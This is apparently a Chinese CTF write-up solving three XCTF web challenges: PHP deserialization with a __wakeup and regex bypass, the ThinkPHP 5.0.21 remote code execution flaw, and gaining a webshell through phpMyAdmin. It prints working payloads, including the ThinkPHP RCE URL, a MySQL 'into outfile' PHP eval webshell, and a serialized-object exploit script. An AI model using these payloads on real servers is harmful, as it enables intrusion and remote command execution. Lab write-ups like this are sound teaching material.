Web安全
周记(3)
—题解
文章目录
- Web安全
- 前言
- 一、知识补充
- 二、做题
-
- 1.Web_php_unserialize
-
- 题目描述:
- 解题思路:
- 2.php_rce
-
- 题目描述:
- 解题思路:
- 3.Web_php_include
-
- 题目描述:
- 解题思路:
- 总结
前言
三题均来自攻防世界WEB高手进阶区题目。
一、知识补充
①ThinkPHP5.0.21存在远程命令执行漏洞:
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数
;
②MySQL数据库用一句话木马拿到webshell:
select "<?php @eval($_POST['pass']);?>" into outfile '/tmp/test.php'
;
③ php中带有双下划线(__)的是魔术方法,会在满足条件时自动调用;
序列化是把数据类型压缩成一个字符串,方便处理,反序列化是把字符串还原成数据类型;
正则表达式用于匹配字符串。
④__wakeup()存在一个缺陷,__wakeup 触发于 unserilize()调用之前,
但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup 失效。
⑤正则表达式:’/[oc]:\d+:/i’
/XXXX/: php的正则表达式需要放在// 之间
末尾的i:修饰符,表示忽略大小写
[oc]:匹配o和c
\d: 匹配一个数字
\d+: 匹配多个数字
二、做题
1.Web_php_unserialize
题目描述:
解题思路:
题目展现一段 php 代码,显然先进行代码审计。
<?php
class Demo {
private $file = 'index.php';//定义一个私有变量。public function __construct($file) {
//定义一个方法作为构造函数。$this->file = $file; //用来引用对象的成员。}function __destruct() {
//析构函数。echo @highlight_file($this->file, true); //函数对文件进行语法高亮显示,如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码。}function __wakeup() {
if ($this->file != 'index.php') {
//判断file参数是不是,Index.php,如果不是的话,让file=index.php。//the secret is in the fl4g.php$this->file = 'index.php'; } }
}
if (isset($_GET['var'])) {
//检测是否传递了get请求的var变量。$var = base64_decode($_GET['var']); //对var变量进行base64解码。if (preg_match('/[oc]:\d+:/i', $var)) {
//preg_match — 执行匹配正则表达式,返回匹配到的次数。die('stop hacking!');//die等同于exit() 。} else {
@unserialize($var); //反序列化:unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。}
} else {
highlight_file("index.php"); //输出index.php。
}
?>
解题整体思路为构造一个PHP代码,实现:对 Demo 这个类进行序列化,base 64 加密之后,赋值给var 变量进行 GET 传参。
反序列化字符串的创建时初始化变量应该是fl4g.php;
构造函数__construct() ,在程序执行开始的时候对变量进行赋初值;
析构函数 __destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件;
在反序列化执行之前,会先执行 __wakeup 这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过 wakeup 方法,正则匹配可以用 + 号来进行绕过。
如下:
<?php
class Demo {
private $file = 'fl4g.php'; // $file 改成 fl4g.php}$a= serialize(new demo);$a= str_replace('O:4', 'O:+4',$a); //绕过 preg_match$a= str_replace(':1:', ':2:',$a); //绕过 wakeup函数echo base64_encode($a);//对参数进行base编码?>
使用phpstudy等工具运行php代码,得到base64编码值。
传递var参数值,得到flag。
2.php_rce
题目描述:
解题思路:
由题目描述,知道thinkphp是5.0版本,猜测存在RCE漏洞,从网上查询,使用index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
,先尝试进行目录查询。
可知,网站的确存在远程命令执行漏洞,使用index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system& vars[1][]=find / -name flag
找到名为flag的文件。
用cat命令查看它,即可成功获得flag。
3.Web_php_include
题目描述:
解题思路:
由题目可知,本题涉及php文件包含,但我们换一个比较简单的思路。
直接先用御剑后台扫描工具对网站进行扫描。
发现phpadmin后台,打开网址。用户名为root,密码为空,发现可以直接登录。
然后进行SQL语句输入,编辑一句话木马select "<?php @eval($_POST['pass']);?>" into outfile '/tmp/test.php'
,
点击执行,发现成功。
使用中国蚁剑工具,添加数据,填写好URL地址:http://111.200.241.244:65297/?page=/tmp/test.php
和密码:pass
。
发现了一个疑似flag的文件。
打开即成功获得了flag。
总结
以上就是本周主要题解内容,主要涉及ThinkPHP5.0.21存在远程命令执行漏洞、MySQL数据库一句话木马、php文件包含、php代码审计(魔术方法__wakeup()、正反序列化、正则表达式)等知识点,和中国蚁剑、御剑后台扫描工具、phpstudy等工具的使用。